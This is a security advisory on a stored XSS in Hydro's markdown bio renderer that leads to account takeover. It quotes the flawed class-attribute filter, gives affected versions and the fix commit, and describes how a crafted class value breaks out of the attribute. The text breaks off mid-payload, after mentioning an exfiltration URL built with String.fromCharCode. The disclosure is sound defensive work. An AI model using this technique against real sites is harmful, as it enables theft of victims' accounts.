# Hydro Vulnerability Report
Software: Hydro
Developer or vendor: hydro-dev
Code repository: https://github.com/hydro-dev/Hydro
## 1. Stored XSS in the Markdown Bio Leads to Account Takeover
Brief description: An attacker with a regular account writes crafted markdown into their bio. When a victim opens the attacker's profile, the script executes and takes over the victim's account.
Affected versions: 4.16.1 to 5.1.0 (UI ≤ 4.59.0)
Preconditions: The attacker has a regular account.
Fix: [Hydro commit 3bae56fe](https://github.com/hydro-dev/Hydro/commit/3bae56fe8edddff12346bcb1c8281269c94688d8)
### Root Cause
A user's bio is stored as markdown and passed to `FilterXSS` by `xssProtector` when rendered. The relevant code is:
```ts
// packages/ui-default/backendlib/markdown-it-xss.ts:180-199 commit 3c8286dd13
export function xssProtector(md) {
function protector(state) {
const processor = state.inlineMode ? xssInline : xss;
for (let i = 0; i < state.tokens.length; i++) {
const cur = state.tokens[i];
if (cur.type === 'html_block') {
cur.content = processor.process(cur.content);
}
if (cur.type === 'inline') {
const inlineTokens = cur.children;
for (let ii = 0; ii < inlineTokens.length; ii++) {
if (inlineTokens[ii].type === 'html_inline') {
inlineTokens[ii].content = processor.process(inlineTokens[ii].content);
}
}
}
}
}
md.core.ruler.after('linkify', 'xss', protector);
}
```
`xss` overrides `safeAttrValue` of FilterXSS. The `class` branch splits the value on spaces and keeps whitelisted entries and entries starting with `language-`. The return value does not pass through `escapeAttrValue`. The relevant code is:
```ts
// packages/ui-default/backendlib/markdown-it-xss.ts:152-156 commit 3c8286dd13
safeAttrValue(tag, name, value) {
if (name === 'id') return escapeAttrValue(`xss-id-${value}`);
if (name === 'class') {
return value.split(' ').filter((i) => whitelistClasses.includes(i) || i.startsWith('language-')).join(' ');
}
return safeAttrValue(tag, name, value, CssFilter);
}
```
The `language-` exception was introduced in commit `d9a903de86` and first shipped in 4.16.1. 4.16.0 and earlier have no such branch in the `class` filter.
FilterXSS then places the returned value into `class="..."`. If the value contains a double quote, the attribute ends early and the following `'>
```
`String.fromCharCode` builds `http://127.0.0.1:9999/?c=`, so the payload contains no quotes or spaces. The `class` value is `language-a">